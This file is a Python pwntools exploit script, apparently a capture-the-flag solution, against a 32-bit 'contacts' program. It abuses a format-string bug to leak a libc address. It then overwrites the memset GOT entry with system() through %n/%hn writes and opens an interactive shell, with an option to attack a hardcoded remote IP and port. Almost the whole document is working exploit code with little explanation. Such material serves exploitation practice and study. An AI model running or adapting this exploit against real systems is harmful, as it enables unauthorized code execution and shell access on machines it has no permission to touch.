from pwn import *
import re
import sys

OFFSET_ADDR_LEAK_LIBC = 2

OFFSET_PTR_PTR = 6
OFFSET_PTR_GOT = 18
GOT_MEMSET = 0x0804b03c

# Sweet spot libc i386 -> 0x001262C6
OFFSET_LEAK_SYSTEM = 53387

# libc2.19 remote d99432843a9b4f19b572345d4dd023ab

# Offset entre les 2 addresses de libc sur la stack 209656

def get_packed_ptrs(base_addr):
    got_addr1 = base_addr
    got_addr2 = base_addr + 2
    return got_addr1, got_addr2

def get_splitted_value(value):
    first_bytes_to_write = value & 0xffff
    second_bytes_to_write = (value >> 16) & 0xffff
    return first_bytes_to_write, second_bytes_to_write

def write_payload_chunk(addr_chunk, value_chunk, conn, name1, name2, second_write=False):
    if not second_write:
        fmt = '%' + str(addr_chunk) + 'x%' + str(OFFSET_PTR_PTR) + '$n'
        print fmt
    else:
        fmt = '%' + str(addr_chunk & 0xffff) + 'x%' + str(OFFSET_PTR_PTR) + '$hn'

    conn.send('1\n' + name1 + '\n/bin/sh\n40\n' + fmt + '\n')
    print conn.recv()

    fmt = '%' + str(value_chunk) + 'x%' + str(OFFSET_PTR_GOT) + '$hn'
    conn.send('1\n' + name2 + '\n/bin/sh\n40\n' + fmt + '\n')
    print conn.recv()

# base_libc = 0xf7fa7000
# offset_system = 0x0003E800

# remote_base_libc = 0xf7500000

# %134525892x%6$n
# %32x%18$n

format_leak = "%x %x"
FIRST_INPUT = "1\n/bin/sh\n/bin/sh\n50\n" + format_leak + "\n"

if len(sys.argv) > 1 and sys.argv[1] == '-remote':
    conn = remote('54.208.16.165', '2555')
else:
    conn = process('./contacts')

conn.recv()
conn.send(FIRST_INPUT)
conn.recv()
conn.send('4\n')
conn.recvuntil('Description:')
leaked = conn.recvuntil('\n')
leaked = leaked.strip().split(' ')
print "[*] Press any key to start exploit"
raw_input()
leaked = int(leaked[1], 16)

system = leaked - OFFSET_LEAK_SYSTEM

got_addr1, got_addr2 = get_packed_ptrs(GOT_MEMSET)
system_chunk1, system_chunk2 = get_splitted_value(system)

write_payload_chunk(got_addr1, system_chunk1, conn, 'fred', 'fred1')
write_payload_chunk(got_addr2, system_chunk2, conn, 'fred2', 'fred3', second_write=True)

conn.send('4\n')
print conn.recv()
print "[*] Payload executed"
print "[*] Erase contact /bin/sh to execute get a shell"
conn.interactive()
#conn.send('2\n/bin/sh\n')
